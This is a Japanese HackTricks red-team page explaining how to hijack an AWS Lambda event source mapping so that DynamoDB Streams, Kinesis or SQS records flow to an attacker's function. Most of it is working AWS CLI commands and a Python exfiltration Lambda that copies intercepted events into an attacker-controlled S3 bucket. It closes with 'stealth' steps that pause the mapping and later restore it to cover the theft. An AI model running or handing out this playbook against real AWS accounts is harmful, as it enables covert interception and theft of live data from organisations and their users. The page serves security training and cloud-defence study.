AWS - Event Source Mapping を乗っ取り、Stream/SQS/Kinesis を攻撃者の Lambda にリダイレクト

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

UpdateEventSourceMapping を悪用して、既存の Event Source Mapping (ESM) のターゲット Lambda 関数を変更し、DynamoDB Streams、Kinesis、または SQS のレコードを攻撃者が制御する関数に配信させます。これにより、プロデューサや元の関数コードに手を加えずにライブデータを密かに横取りできます。

Impact

  • プロデューサアプリや被害者のコードを変更せずに、既存の streams/queues からライブレコードを迂回して読み取ることができる。
  • 被害者のトラフィックを不正な関数で処理することで、データの持ち出しやロジック改ざんが発生する可能性がある。

Required permissions

  • lambda:ListEventSourceMappings
  • lambda:GetEventSourceMapping
  • lambda:UpdateEventSourceMapping
  • 攻撃者が制御する Lambda をデプロイまたは参照できること(lambda:CreateFunction または既存の関数を使用する権限)。

Steps

  1. 被害者の関数に対する Event Source Mapping を列挙する
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
  1. 攻撃者が制御する受信側の Lambda を準備する(同じリージョン;理想的には類似した VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time

def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
  1. マッピングを攻撃者の関数に向け直す
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
  1. マッピングが発火するように、ソースでイベントを生成する(例: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
  1. 攻撃者関数がバッチを受け取ることを確認する
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
  1. 任意の stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false

# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true

注記:

  • SQS ESMs に対して、キューを処理する Lambda の実行ロールには sqs:ReceiveMessagesqs:DeleteMessage、および sqs:GetQueueAttributes が必要です(マネージドポリシー: AWSLambdaSQSQueueExecutionRole)。
  • ESM の UUID は同じままで、変更されるのはその FunctionArn のみです。したがって、プロデューサーとソース ARN は影響を受けません。

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする